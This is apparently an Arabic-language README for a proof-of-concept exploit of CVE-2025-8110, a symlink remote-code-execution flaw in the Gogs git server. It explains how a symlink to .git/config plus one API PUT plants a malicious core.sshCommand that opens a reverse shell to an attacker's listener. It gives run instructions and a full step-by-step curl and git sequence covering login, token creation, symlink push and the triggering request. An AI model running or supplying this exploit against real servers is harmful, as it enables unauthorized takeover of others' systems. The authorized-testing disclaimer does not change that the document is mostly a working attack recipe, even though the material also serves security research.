
استغلال لمرة واحدة لثغرة RCE عبر الروابط الرمزية في Gogs (CVE-2025-8110) يُطلق قشرة عكسية عبر طلب PUT واحد إلى UpdateRepoFile.
نص برمجي بلغة بايثون لإثبات المفهوم (PoC) لثغرة CVE-2025-8110 — ثغرة تنفيذ أوامر عن بُعد (RCE) عبر الروابط الرمزية في UpdateRepoFile بإصدار Gogs v0.13.3. بضربة واحدة: طلب PUT الخبيث نفسه يُطلق git fetch → sshCommand → شلًا عكسيًا.
⚠️ لأغراض تعليمية وأبحاث أمنية مصرّح بها فقط. تشغيل هذه الأداة ضد أنظمة لا تملكها أو ليس لديك إذن كتابي لاختبارها يُعدّ أمرًا غير قانوني.
معالج UpdateRepoFile في internal/db/repo_editor.go يستدعي لكتابة محتوى الملف، وهذا الاستدعاء يتبع الروابط الرمزية دون التحقق منها. وبالاقتران مع أن التزامات الروابط الرمزية السابقة تتوغل داخل ، يمكن للمهاجم:
os.WriteFile.git/x → .git/config إلى المستودع العاري (bare repo)PUT /api/v1/repos/{owner}/{repo}/contents/x مع .git/config خبيث يحتوي على core.sshCommand مضبوطًا على أمر شل عكسيgit fetch origin (عبر CreateOrUpdateRepoFile → UpdateLocalCopyBranch)، الذي يقرأ الإعدادات المعدّلة وينفّذ sshCommand — مما يُحدث شلًا عكسيًا بضربة واحدة.poc.py: يطلب إدخال الهدف واسم المستخدم وكلمة المرور وLHOST وLPORT؛ ثم يسجّل الدخول، وينشئ رمز API، وينشئ مستودعًا، ويدفع رابطًا رمزيًا، ويستبدل .git/config عبر الـ API — طلب PUT الواحد نفسه يُطلق الشل العكسي.شغّل:
python3 poc.py --target https://gogs.example.com --username admin --password admin123 --lhost 10.10.14.206 --lport 9001
| الوسيط | مطلوب | الوصف |
|---|---|---|
--target / -t | نعم | اسم مضيف أو عنوان URL لخادم Gogs الهدف |
--username | نعم | اسم مستخدم Gogs موجود |
--password | نعم | كلمة مرور Gogs موجودة |
--lhost | نعم | عنوان IP للمستمع (Listener) لاستقبال الشل العكسي |
--lport | نعم | منفذ المستمع (Listener) |
/user/settings/applicationsx → .git/config، ويلتزم به ويدفعهPUT /api/v1/repos/{owner}/{repo}/contents/x مع إعدادات git خبيثة تحتوي على core.sshCommand وعنوان URL بعيد عبر SSH. يستدعي CreateOrUpdateRepoFile في Gogs داخليًا UpdateLocalCopyBranch التي تُنفّذ git fetch origin، فيقرأ الإعدادات المسمومة وينفّذ sshCommand — مما يُحدث شلًا عكسيًا في طلب واحد.curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/login
# Extract _csrf from response
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/login \
-d '_csrf=<csrf>&user_name=<user>&password=<pass>'
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/settings/applications
# Extract _csrf
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/settings/applications \
-d '_csrf=<csrf>&name=poc-token'
curl -X POST http://target/api/v1/user/repos \
-H "Authorization: token <token>" \
-H "Content-Type: application/json" \
-d '{"name":"poc-repo"}'
git clone http://<user>:<token>@target/<user>/poc-repo.git
cd poc-repo
ln -s .git/config x
git add x
git commit -m "add symlink"
git push origin master
curl -X PUT http://target/api/v1/repos/<user>/poc-repo/contents/x \
-H "Authorization: token <token>" \
-H "Content-Type: application/json" \
--max-time 10 \
-d '{"message":"x","content":"<base64 of malicious git config>"}'
طلب PUT نفسه يُطلق git fetch origin، الذي يقرأ .git/config المسموم وينفّذ الشل العكسي. لا حاجة إلى طلب ثانٍ.
لماذا
--max-time 10؟ قد يتجمد الخادم لمدة ~10 ثوانٍ بينما يعالج git الكتابة ويُطلق الجلب. استخدام--max-time 10يضمن إبقاء curl الاتصال مفتوحًا لفترة كافية ليتمكن الشل من الاتصال عائدًا. وبدونه، قد ينقطع الاتصال قبل انطلاق الشل.